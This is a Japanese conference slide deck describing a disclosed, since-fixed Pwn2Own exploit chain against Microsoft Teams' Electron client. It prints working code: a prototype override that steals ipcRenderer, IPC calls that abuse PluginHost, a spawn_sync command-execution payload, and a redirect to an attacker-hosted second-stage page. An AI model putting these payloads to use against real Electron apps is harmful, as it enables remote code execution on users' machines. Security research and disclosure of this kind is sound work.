Slide 1

Slide 1 text

Pwn2Ownで Microsoft Teamsを ハッキングして 2000万円を獲得した方法 2023/7/25 Shibuya.XSS techtalk #12 Masato Kinugawa

Slide 2

Slide 2 text

自己紹介 • Masato Kinugawa • 好きな脆弱性はXSS • 2010~2016: 専業バグハンター • 2016~: Cure53で脆弱性診断

Slide 3

Slide 3 text

今日の話 • 2022年5月に開催されたハッキングコンテストで賞金を獲得した、 Microsoft Teamsで任意のコードを実行可能だった脆弱性につい て話します • 技術以外の話題についてはポッドキャスト「Web & Browser Security」の「Webセキュリティのアレ」回で! https://podcasters.spotify.com/pod/show/shhnjk/episodes/Web-e1s9jjl/a-a923e6v

Slide 4

Slide 4 text

Pwn2Own (ポウンツーオウン)とは • トレンドマイクロが運営する脆弱性発見コミュニティZDI(Zero Day Initiative)によるハッキングコンテスト • 2007年から開催 • 特定の製品の(主に)任意コード実行のデモを決められた時間内 に達成すると成功、賞金が支払われる • 当日のデモの様子: https://youtu.be/3fWo0E6Pa34?t=238 • 報告された脆弱性はベンダーに通知される

Slide 5

Slide 5 text

ターゲットの例(Pwn2Own Vancouver 2022の場合) • ブラウザ(Chrome, Edge, Firefox, Safari) • デスクトップアプリ(Teams, Zoom, Adobe Reader, Office 365) • 自動車(Tesla) • VM(Virtual Box, VMware, Hyper-V) • サーバー(Microsoft Exchange, SharePoint, Windows RDP, Samba) • OS(Windows/Ubuntuの権限昇格の脆弱性) Pwn2Own Vancouver 2022 Rules (Web Archive): https://web.archive.org/web/20220516223600/https://www.zerodayiniti ative.com/Pwn2OwnVancouver2022Rules.html

Slide 6

Slide 6 text

Microsoft Teamsについて • 言わずと知れたMicrosoft製のチャットやビデオ通話のできる コミュニケーションツール • 2つのバージョンが存在し、利用される技術が異なる • 1.x: Electron ←コンテストの対象はこっち • 2.x: Edge WebView

Slide 7

Slide 7 text

発見した脆弱性 1. メインウィンドウでのContext Isolationの欠如 2. チャットメッセージを通じたXSS 3. PluginHostを通じたサンドボックス外でのJS実行 ➡ これらを組み合わせて任意コード実行を達成

Slide 8

Slide 8 text

発見した脆弱性 1 1. メインウィンドウでのContext Isolationの欠如 2. チャットメッセージを通じたXSS 3. PluginHostを通じたサンドボックス外でのJS実行

Slide 9

Slide 9 text

Electronとは • HTML/CSS/JavaScript(Node.js)を使ってデスクトップアプリ ケーションを作成するためのフレームワーク • GitHubによって開発 • Electronアプリの例 • Visual Studio Code • Discord • Slack • GitHub Desktop • Figma

Slide 10

Slide 10 text

こんな風に動く const {BrowserWindow,app} = require('electron'); app.on('ready', function() { let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`); });

Hello Electron!

メインプロセス (ブラウザ本体のイメージ) レンダラプロセス (ブラウザのタブのイメージ) main.js: index.html: • 2種類のプロセスが存在 • ブラウザ部分はChromium

Slide 11

Slide 11 text

最初に注目するところ const {BrowserWindow,app} = require('electron'); app.on('ready', function() { let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`); });

Hello Electron!

メインプロセス (ブラウザ本体のイメージ) レンダラプロセス (ブラウザのタブのイメージ) main.js: まずはここに注目する index.html:

Slide 12

Slide 12 text

BrowserWindow • ブラウザウィンドウを作るAPI • このAPIのオプションに注目する • オプションによってRCEの起こりやすさが変わってくる new BrowserWindow({ webPreferences: { nodeIntegration: false, contextIsolation: false, sandbox: true [...] } }); 注目すべきオプション:

Slide 13

Slide 13 text

nodeIntegration • Webページ上でNode API(およびElectronのレンダラプロセスモ ジュール)を有効にするかどうか • 有効時、任意のJSを実行できれば直接require()してRCEできるこ とになる require('child_process').exec('calc'); 今回は無効

Slide 14

Slide 14 text

contextIsolation • Webページ側とNode APIを使う部分の間のJSのコンテキスト を分離するかどうか • Node APIを使う部分: • Electron内部のコード • Preloadスクリプト(開発者がレンダラ上で一部Node APIを使いたい ときに使うもの。nodeIntegrationが無効でも使える。) これがないとどうなる?➡ 今回は無効

Slide 15

Slide 15 text

contextIsolationがないと… • 任意のJSを実行可能時、プロトタイプの書き換えなどによって nodeIntegrationが無効でもNode APIにアクセスされ得る //Web page Function.prototype.call = function(arg) { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature); }

Slide 16

Slide 16 text

contextIsolationがないと… • 任意のJSを実行可能時、プロトタイプの書き換えなどによって nodeIntegrationが無効でもNode APIにアクセスされ得る //Web page Function.prototype.call = function(arg) { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature);//called }

Slide 17

Slide 17 text

contextIsolation:true なら • プロトタイプの書き換えはNode APIが利用できる部分に影響せ ず、このトリックでRCEされることは無くなる //Web page Function.prototype.call = function(arg) { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature);//called } Built-inの Function.prototype.callが呼ばれる

Slide 18

Slide 18 text

sandbox • Chromiumのサンドボックスを使うかどうか • falseは Chromeを--no-sandbox フラグ付きで実行した状態と同じ • falseにするとメモリ破壊などのバグでRCEが容易に • 有効時はさらに、preloadスクリプトなどのNode APIが利用でき るコンテキストで一部APIが使えなくなる • プログラム・OSコマンドを実行できるもの(例: shell.openExternal) • クリップボードにいきなりアクセスするもの(clipboard モジュール) • ローカルファイルにアクセスできるもの 今回は有効

Slide 19

Slide 19 text

オプションから言えること new BrowserWindow({ webPreferences: { nodeIntegration: false, contextIsolation: false, sandbox: true } }); ➡任意のJS実行可能時、 sandboxによりRCEに直接繋がるような Node APIへのアクセスは制限されるが、contextIsolationの欠如によ りそれ以外のNode APIへのアクセスは得られるかもしれない状態

Slide 20

Slide 20 text

Node APIへのアクセスを試みる • 様々なBuilt-inメソッドのプロトタイプを上書して悪用可能な Node APIへの参照がとれないか試していると… • 上書きしたFunction.prototype.callからipcRendererモジュー ルへの参照がやって来た Function.prototype._call = Function.prototype.call; Function.prototype.call = function(...args) { if (args[3] && args[3].name === "__webpack_require__") { ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer; } return this._call(...args); }

Slide 21

Slide 21 text

ipcRendererモジュール const { ipcMain } = require('electron'); [...] ipcMain.handle('test', (evt, msg) => { console.log(msg);//hello return 'hey'; });

Hello Electron!

メインプロセス main.js: index.html: レンダラからメインプロセスとIPC通信する時に使う const { ipcRenderer } = require('electron'); ipcRenderer.invoke('test','hello'); .then(msg=>{ console.log(msg);//hey }); preload.js: ➡メインプロセスは完全なNode APIへのアクセスがあるので メッセージの処理が迂闊な部分があればRCEが起きるかも レンダラプロセス

Slide 22

Slide 22 text

ここまでを踏まえ 1 任意のJSを実行する方法を探す • XSS • 任意のサイトへのリダイレクト 2 RCEに繋がる部分を探す • 1で奪ったipcRendererモジュールへの参照からIPCを通じてRCEに繋がる箇 所がないか • sandbox:true でもRCEに直接繋がるAPIが公開されてないか(Electronの0- dayを見つける) contextIsolationが無く、ipcRendererの参照が取れることが分かった ここからRCEするには:

Slide 23

Slide 23 text

発見した脆弱性 2 1. メインウィンドウでのContext Isolationの欠如 2. チャットメッセージを通じたXSS 3. PluginHostを通じたサンドボックス外でのJS実行

Slide 24

Slide 24 text

任意のJSを実行するアイデア • XSS • 任意のサイトへのリダイレクト • この手のRCEをするとき実行されるオリジンは通常重要でない • JSさえ実行できればNode APIを使う部分に干渉できるため • なお、Pwn2Ownのルール上、ユーザー操作なしにRCEを達成す る必要がある • アプリやメッセージを開いただけで発火など 有望そうな チャットメッセージを見ていくことにする➡

Slide 25

Slide 25 text

HTMLサニタイザを見る • チャットメッセージでは 一部のHTML/CSSが使える • サーバとクライアント側それぞれで サニタイズを行った上でHTMLを表示 ➡サーバ側のサニタイズはブラックボックスのため クライアント側のJSからサニタイズ動作を推測することにする

Slide 26

Slide 26 text

クライアント側のサニタイズ • sanitize-htmlライブラリを使用 https://github.com/apostrophecms/sanitize-html • サニタイズされるものの例 • スクリプトの実行(XSS)に繋がるHTML要素・属性 • レイアウトを破壊するCSS 意外にもここで CSS周りのサニタイズをチェックしたことが XSSの発見へ繋がることになる…➡

Slide 27

Slide 27 text

classのサニタイズ • クライアント側のJavaScriptでclass名の許可リストらしき文字列 を発見 e.htmlClasses = "swift-*,ts-image*, emojione,emoticon-*,animated-emoticon-*, copy-paste-table,hljs*,language-*,zoetrope, me-email-*,quoted-reply-color-*" • これらのclass付きのHTMLを投稿するとサーバ/クライアント側の サニタイズを通過できた • アスタリスクはワイルドカードとして作用する様子

Slide 28

Slide 28 text

ワイルドカード(swift-*)の動作 • class名のセパレータ(0x20とか)以外はなんでも通る様子 test test ところが…アイツのせいで JavaScriptの実行に繋がる?! ➡ 完全に任意のclass名は追加できないから問題なし?

Slide 29

Slide 29 text

アイツ = AngularJS • Teamsは一部ページでクライアント側のフレームワークに AngularJSを使用していた • チャットメッセージ表示部もそのうちの1つ • 最近はReactに置き換えつつある様子 AngularJSといえば➡

Slide 30

Slide 30 text

XSSer ♥ AngularJS • AngularJSはXSSerにとって都合の良いライブラリ • HTMLタグを使わずテンプレート記法( {{}} )でXSSできたり • unsafe-eval不要のCSPバイパスも導入しうる
{{constructor.constructor('alert(1)')()}}

Slide 31

Slide 31 text

過去に発見されたXSS • 過去にもTeamsでAngularJSを通じたXSSが発見されている • テンプレート記法の間にヌル文字を挟むとフィルターをバイパ スできていた {{3*333}\u0000} 詳細:https://github.com/oskarsve/ms-teams-rce ➡SPAのTeamsでこれが起こるということは… ユーザー入力から動的にAngularJSのHTMLとして (ng-appの内側にあるHTMLのように)コンパイルしている? 他にもAngularJS経由のXSSが起こる箇所があるのでは? AngularJSのドキュメントを読んでいくと…

Slide 32

Slide 32 text

ngInitディレクティブ (1/2) • テンプレートが実行される前の初期化に使われる • 以下でHello World!が出力される {{greeting}} {{person}}! この属性値はAngularJS式と評価されるので以下で任意JSが動く: ng-init属性はもちろんサニタイズされるが…➡

Slide 33

Slide 33 text

ngInitディレクティブ (2/2) • ngInitはclassからも使える • 次の2つは等価:
aaa
... ... 公式のドキュメント:https://docs.angularjs.org/api/ng/directive/ngInit 以下もAngularJS式と評価される: classからJSが動いた! ※ ng-classやng-styleなどでも動く。

Slide 34

Slide 34 text

classディレクティブの取り出し方 aaa aaa aaa aaa CLASS_DIRECTIVE_REGEXP = /(([\w-]+)(?::([^;]+))?;?)/, 正規表現で取り出していた: 以下は全てngInitディレクティブとして動く: https://github.com/angular/angular.js/blob/47bf11ee94664367a26ed8c91b9b586d3dd420f5/src/ng/compile.js#L1384 classに swift-* が許される動作と組み合わせると…➡

Slide 35

Slide 35 text

XSS! • 次のHTMLをチャットに投稿したらJSが実行された aaa ※なお、ここで今まで使ってきたconstructorを使っていないのはAngularJSのバージョンによって任意の JS実行を防止するサンドボックス(どのバージョンも不完全)があり直接constructorを使えなかったため 参考:Gareth Heyesさんによるバージョン毎のAngularJS sandbox bypassのまとめ https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs 目標はあくまでRCE、さらに続く!➡

Slide 36

Slide 36 text

ここまでで出来たこと • 任意のJSは実行できた • それを使ってcontextIsolationの欠如を利用しIPCRendererモ ジュールへの参照を取得できた RCEにつながりうる迂闊なことをするIPCリスナーがないか チェックしていくとPluginHostというレンダラが目を引いた➡

Slide 37

Slide 37 text

発見した脆弱性 3 1. メインウィンドウでのContext Isolationの欠如 2. チャットメッセージを通じたXSS 3. PluginHostを通じたサンドボックス外でのJS実行

Slide 38

Slide 38 text

PluginHost • PluginHostと名付けられたinvisibleなレンダラが存在 • ここに読み込まれたslimcoreと呼ばれるNodeモジュールをメ インウィンドウ側からIPC経由で操作している様子 • ここは sandbox: false • slimcoreの実行にsandboxが障害になるから? "C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.ex e" --type=renderer [...] --app- path="C:\Users\USER\AppData\Local\Microsoft\Teams\current\res ources\app.asar" --no-sandbox [...] /prefetch:1 --msteams- process-type=pluginHost

Slide 39

Slide 39 text

slimcoreはどう実行されるか • PluginHost上のpreloadスクリプトでIPCリスナーを設定し、メ インウィンドウから送信されたメッセージを受け取って実行 • メインウィンドウからsendToRendererSyncというAPI(参照を取得 できたオブジェクトに存在)を使うとメッセージを送信可能 • このAPIはipcRendererモジュールに本来存在しないのでMSが独自に拡 張したもの? ELECTRON_REMOTE_SERVER_REQUIRE ELECTRON_REMOTE_SERVER_MEMBER_GET ELECTRON_REMOTE_SERVER_FUNCTION_CALL こんな名前のIPCリスナーが存在:

Slide 40

Slide 40 text

IPCリスナーの役割 • ELECTRON_REMOTE_SERVER_REQUIRE • require()をメッセージで指定された値を引数にして呼び出す • ただしバリデーションが存在し"slimcore"など一部のモジュールのみロード可 • ELECTRON_REMOTE_SERVER_MEMBER_GET • メッセージで指定された値にプロパティアクセスを行う • ELECTRON_REMOTE_SERVER_FUNCTION_CALL • メッセージで指定された値を引数にして関数呼び出しを行う • (SETやその他の操作のリスナーもある)

Slide 41

Slide 41 text

こういう風に呼び出せるイメージ require('slimcore').func('arg'); 1. ELECTRON_REMOTE_SERVER_REQUIREを送る 3. ELECTRON_REMOTE_SERVER_FUNCTION_CALLを送る 2. ELECTRON_REMOTE_SERVER_MEMBER_GETを送る ふむ、何だかにおうぞ…➡

Slide 42

Slide 42 text

MEMBER_GETのプロパティアクセスに注目する ELECTRON_REMOTE_SERVER_MEMBER_GETの中身: P(c.remoteServerMemberGet, (e,t,n,o)=>{ const i = s.objectsRegistry.get(n); if (null == i) throw new Error(`Cannot get property '${o}' on missing remote object ${n}`); return A(e, t, ()=>i[o]) } ) i がアクセス対象、oがアクセスするプロパティ。 アクセスはhasOwnProperty()などの一切の チェックなしに行われている、これが意味するのは…➡

Slide 43

Slide 43 text

プロトタイプへのアクセスが許される require('slimcore').toString.constructor('js-code')(); 1. REQUIRE 4. FUNCTION_CALL 2. MEMBER_GET 3. MEMBER_GET 5. FUNCTION_CALL これによりconstructorからFunction()にアクセスし 任意のJSを実行できた:

Slide 44

Slide 44 text

これで何ができる? • 評価はpreloadスクリプト内で行われている • つまりNode APIへのアクセスがあるコンテキスト! • さらにsandbox:false なので使えるAPIの制限は緩い!! このコンテキストでRCEする方法 ➡

Slide 45

Slide 45 text

process.binding • Node.js内部で使われるrequireのようなもの • sandbox: false のときしか使えない • child_process中ではbinding('spawn_sync')が使われていて、この時の 呼び出しを真似ればコマンド実行が可能: a = { "type": "pipe", "readable": 1, "writable": 1 }; b = { "file": "cmd", "args": ["/k", "start", "calc"], "stdio": [a, a] }; process.binding("spawn_sync").spawn(b); これは@CapacitorSet & @denysvitaliさんによるMath.jsのRCEから学んだ:https://jwlss.pw/mathjs/

Slide 46

Slide 46 text

補足:require()は使えないの? require('slimcore') .toString.constructor("require('child_process')...")(); 直接 require('child_process') を呼べばいいんじゃ? これは動かない 、なぜか ➡

Slide 47

Slide 47 text

requireが動かない理由 Function()はグローバルスコープで実行される関数を作成するため 1: function (exports, require, module, __filename, __dirname) { console.log(`1: ${arguments.callee.toString()}`); console.log(`2: ${eval('typeof require')}`); console.log(`3: ${constructor.constructor('typeof require')()}`); } 2: function 3: undefined console.log(`1: ${arguments.callee.toString()}`); console.log(`2: ${eval('typeof require')}`); console.log(`3: ${constructor.constructor('typeof require')()}`); ➡ preloadスクリプトとしてロードすると 関数のスコープにある

Slide 48

Slide 48 text

別のコマンド実行の方法 • Pwn2Own参加者の@adm1nkyj1 & @jinmo123さんもIPCを通じたコマンド実行 の方法を発見していた模様 • ただしコマンド実行の方法が異なり、preloadスクリプト内で使用されるevalを利用して require('child_process')していた 詳細: https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html#2- pluginhost-allows-dangerous-rpc-calls-from-any-webview function loadSlimCore(slimcoreLibPath) { let slimcore; if (utility.isWebpackRuntime()) { const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\"); slimcore = eval(`require('${slimcoreLibPathWebpack}')`); [...] } [...] } String.prototype.replaceを書き換え てこの戻り値を好きに変更 任意の文字列がevalに渡る (direct eval callのため関数のスコープで実行、この場合requireへのアクセスがある )

Slide 49

Slide 49 text

全てのバグがそろった! 1. メインウィンドウでのContext Isolationの欠如 2. チャットメッセージを通じたXSS 3. PluginHostを通じたサンドボックス外でのJS実行 電卓起動までの道のりをみてみよう! ➡

Slide 50

Slide 50 text

再現手順 1. 攻撃者は次のJSを含むページを用意する Function.prototype._call = Function.prototype.call; Function.prototype.call = function(...args) { if (args[3] && args[3].name === "__webpack_require__") { ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer; } return this._call(...args); } 次のページにIPCを送信するコードが続く... ... ipcRendererモジュールへの参照を取得するコード:

Slide 51

Slide 51 text

setTimeout(function(){ ipc.invoke('calling:teams:ipc:initPluginHost',true).then((id)=>{ objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_REQUIRE',[[],'slimcore'],'')[0]['id']; objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',[[],objid,'toString',[]],'')[0]['id']; objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',[[],objid,'constructor',[]],'')[0]['id']; objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',[[],objid,[{"type":"value","value": 'a={"type":"pipe","readable":1,"writable":1};b={"file":"cmd","args":["/k","start","calc"],"stdio":[a,a]}; process.binding("spawn_sync").spawn(b);'}]],'')[0]['id']; ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',[[],objid,[{"type":"value","value":""}]],''); }); },2000); require('slimcore').toString.constructor('js-code')(); 1. REQUIRE 4. FUNCTION_CALL 2. MEMBER_GET 3. MEMBER_GET 5. FUNCTION_CALL 上のコードはPluginHost上で以下を実行するためのIPCを送信するコード:

Slide 52

Slide 52 text

再現手順 2. こんなHTMLをチャットメッセージとして投稿 aaa

Slide 53

Slide 53 text

再現手順 evalを解いて簡単にすると10秒後に攻撃者のサイトへナビゲー ションするコードを実行するだけ setTimeout(function(){ location.replace('//attacker.example.com/poc.html'); },10000); さっき用意したページ ※ setTimeoutの待ち時間は実際には不要。デモを判りやすくするためにあります。

Slide 54

Slide 54 text

再現手順 3. 犠牲者はメッセージを開く(XSSがトリガーされる)

Slide 55

Slide 55 text

再現手順 暫くするとナビゲーションが発生し細工されたページへ (https://attacker.example.com/poc.html)

Slide 56

Slide 56 text

再現手順 とつぜん電卓が起動!!!! (https://attacker.example.com/poc.html) DEMO: https://youtu.be/TMh_WbF9VnM

Slide 57

Slide 57 text

全て修正された • contextIsolation: 有効になった • XSS: アスタリスクの部分で使える文字列が厳密になった • PluginHost: contextIsolationを無効にして、CSPを適用する ことでpreloadスクリプトでevalできないようにしたっぽい? • 特定のElectronバージョンではcontextIsolation無効だとpreloadスク リプトにもCSPが効くようだ • 最新のElectron(v25+)で試したらそもそもpreloadスクリプト中で evalが禁止されていた • "Uncaught EvalError: Code generation from strings disallowed for this context"

Slide 58

Slide 58 text

以上です • Pwn2Ownで賞金を獲得した脆弱性について話しました • 皆も挑戦してみてね!

Slide 59

Slide 59 text

Thanks!! @kinugawamasato